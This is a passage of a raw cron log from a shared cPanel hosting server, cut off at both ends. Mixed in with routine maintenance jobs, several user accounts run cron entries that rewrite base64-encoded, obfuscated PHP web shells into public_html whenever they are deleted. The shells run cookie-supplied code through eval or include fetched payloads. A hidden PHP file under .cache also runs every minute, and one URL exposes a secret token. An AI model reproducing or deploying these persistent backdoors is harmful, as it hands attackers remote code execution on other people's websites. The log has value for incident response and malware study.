"$fp")
Mar  2 05:48:01 medusa CROND[25181]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:48:01 medusa CROND[25182]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:48:01 medusa CROND[25183]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:48:01 medusa CROND[25184]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:48:01 medusa CROND[25186]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:48:01 medusa CROND[25189]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:48:01 medusa CROND[25174]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 05:49:01 medusa CROND[11936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:49:01 medusa CROND[12058]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:49:01 medusa CROND[12059]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:49:01 medusa CROND[12060]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:49:01 medusa CROND[12062]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:49:01 medusa CROND[12063]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:49:01 medusa CROND[12076]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 05:49:01 medusa CROND[12079]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:49:01 medusa CROND[12080]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:49:01 medusa CROND[12081]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:49:01 medusa CROND[12083]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:49:01 medusa CROND[12088]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:50:01 medusa CROND[28748]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:50:01 medusa CROND[28750]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:50:01 medusa CROND[28751]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 05:50:01 medusa CROND[28752]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 05:50:01 medusa CROND[28754]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 05:50:01 medusa CROND[28755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:50:01 medusa CROND[28756]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:50:01 medusa CROND[28760]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:50:01 medusa CROND[28758]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:50:01 medusa CROND[28763]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 05:50:01 medusa CROND[28753]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 05:50:01 medusa CROND[28776]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:50:01 medusa CROND[28780]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:50:01 medusa CROND[28779]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 05:50:01 medusa CROND[28783]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:50:01 medusa CROND[28777]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 05:50:01 medusa CROND[28784]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 05:50:01 medusa CROND[28786]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 05:50:01 medusa CROND[28787]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:50:01 medusa CROND[28788]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 05:50:01 medusa CROND[28792]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9w